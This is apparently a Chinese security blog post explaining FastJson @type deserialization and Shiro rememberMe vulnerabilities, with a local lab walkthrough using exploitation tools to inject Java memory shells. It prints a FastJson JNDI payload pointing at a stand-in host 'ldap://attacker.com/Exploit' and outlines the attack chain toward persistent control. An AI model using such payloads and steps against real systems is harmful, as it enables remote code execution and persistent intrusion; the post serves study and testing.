FastJson反序列化和Shiro漏洞

声明

本文仅用于网络安全技术学习与研究,文中涉及的 IP 地址均为本地实验环境或已脱敏信息,不涉及任何真实生产环境。

请勿将本文内容用于任何未授权的测试或非法用途,由此产生的后果需自行承担。

参考博文:https://blog.csdn.net/2402_84408069/article/details/148216863

https://forum.butian.net/share/2980

1 基础知识

Fastjson / Shiro 漏洞

↓

反序列化 RCE

↓

注入 Java 内存马

↓

长期控制

1.1 反序列化

  • 序列化(Serialization)

    👉 把 内存中的对象 转换成 可传输/可存储的数据格式

    • 如:byte 流、JSON、XML
  • 反序列化(Deserialization)
    👉 把 数据格式 再还原成 内存中的对象

java 复制代码
User u = new User("admin", 18);   // 内存对象
↓ 序列化
{"name":"admin","age":18}         // 字符串
↓ 反序列化
User u2 = new User("admin", 18);  // 新对象

攻击者往往通过控制反序列化的数据让程序反序列化恶意对象。

1.2Fastjson

FastJson 是阿里巴巴开源的一款高性能 Java JSON 解析/生成库。

cpp 复制代码
// 对象转 JSON 字符串
String jsonStr = JSON.toJSONString(user);  

// JSON 字符串转对象
User user = JSON.parseObject(jsonStr, User.class);  

1.3 FastJson反序列化漏洞

攻击者可以在JSON中构造特定的数据类型和结构,使Fastjson在解析时调用恶意构造的Java类或方法,从而实现远程代码执行。

在JSON数据中,@type字段可以用来指定反序列化时应该实例化的类的类型,尤其是Fastjson的autoType功能开启时,恶意用户可能会利用这个字段来构造恶意的JSON数据,在@type字段中指定恶意类路径。

payload示例:

bash 复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/Exploit",
  "autoCommit": true
}

如果FastJson在黑白名单过滤时存在缺陷,攻击者可通过特殊字符(如 \x 十六进制编码)绕过检测,执行任意代码。

1.4 Shiro漏洞

Apache Shiro 是一个 Java 安全框架,主要负责:

  • 身份认证(你是谁)

  • 权限控制(你能干什么)

  • 会话管理

  • rememberMe("记住我")

强特征:

bash 复制代码
Cookie: rememberMe=xxxx

本质:攻击者通过控制 rememberMe 等数据,让 Shiro 反序列化攻击者构造的对象,从而触发危险行为(甚至代码执行)。

2 实战演练

2.1 环境

1.项目地址:https://github.com/safe6Sec/ShiroAndFastJson

2.项目运行环境:IDEA+Marven+jdk-1.8

有内置marven的双击install,无的看这篇:

https://blog.csdn.net/xiguagaizi88/article/details/115376673

3.Shrio反序列化漏洞综合利用工具:https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

4.冰蝎:https://github.com/rebeyond/Behinder/releases

2.2 实验步骤

1.起服务

2.利用shiro

这一步访问你代码里开的端口和jessionid,可以开始自己打自己了=、=

这一步可以检验shiro漏洞是否利用成功。

内存马(listener,filter,servlet)类型注意用哪个工具注入哪个,如果项目重启了需要重新注入。

使用shiro利用工具时可以连yakit的代理抓包分析,可以发现Cookie中有rememberme的强特征。

shiro利用工具的内部逻辑:对cookie进行base64解码然后利用shiro爆破出的密钥AES解码;爆破利用链;注入内存马的时候由于超出了tomcat请求头长度限制,cookie部分作为了加载器,body部分作为真实payload。

3 代码审计

持续更新~

相关推荐
晨曦中的暮雨7 小时前
限流算法——固定窗口、滑动窗口、漏桶、令牌桶
java·开发语言·算法
喵了几个咪8 小时前
GoWind CMS 拆解:在 Go 里给 TipTap 搭一套 Yjs 协同后端
开发语言·后端·golang
程序员清风8 小时前
数据处理脚本工程化:日志、配置、命令行与测试
服务器·开发语言·数据库
文丑颜不良啊9 小时前
LeetCode876~900题目解析
java·leetcode
aloha_7899 小时前
Java 基础、集合、异常与 JUnit 5 速查
java·junit·sqlserver
知守观10 小时前
设计模式实战:从真实老项目中看标准模板方法与工厂的落地
java·spring·设计模式
2601_9628857210 小时前
如何用 Python 把 K 线重采样成任意周期?
开发语言·python
独隅10 小时前
Claude API 实战教程:从入门到完整项目
android·java·数据库·claude·claude code
打工仔折腾 AI10 小时前
在 Ubuntu ARM64 部署 Q1 V3.0 MuJoCo 模型:加载、单步推理与执行器响应解析
linux·运维·人工智能·python·深度学习·ubuntu·性能优化
yyuuuzz10 小时前
跨境站点日志时区混乱的排查记录
运维·服务器·网络·云计算·aws·1024程序员节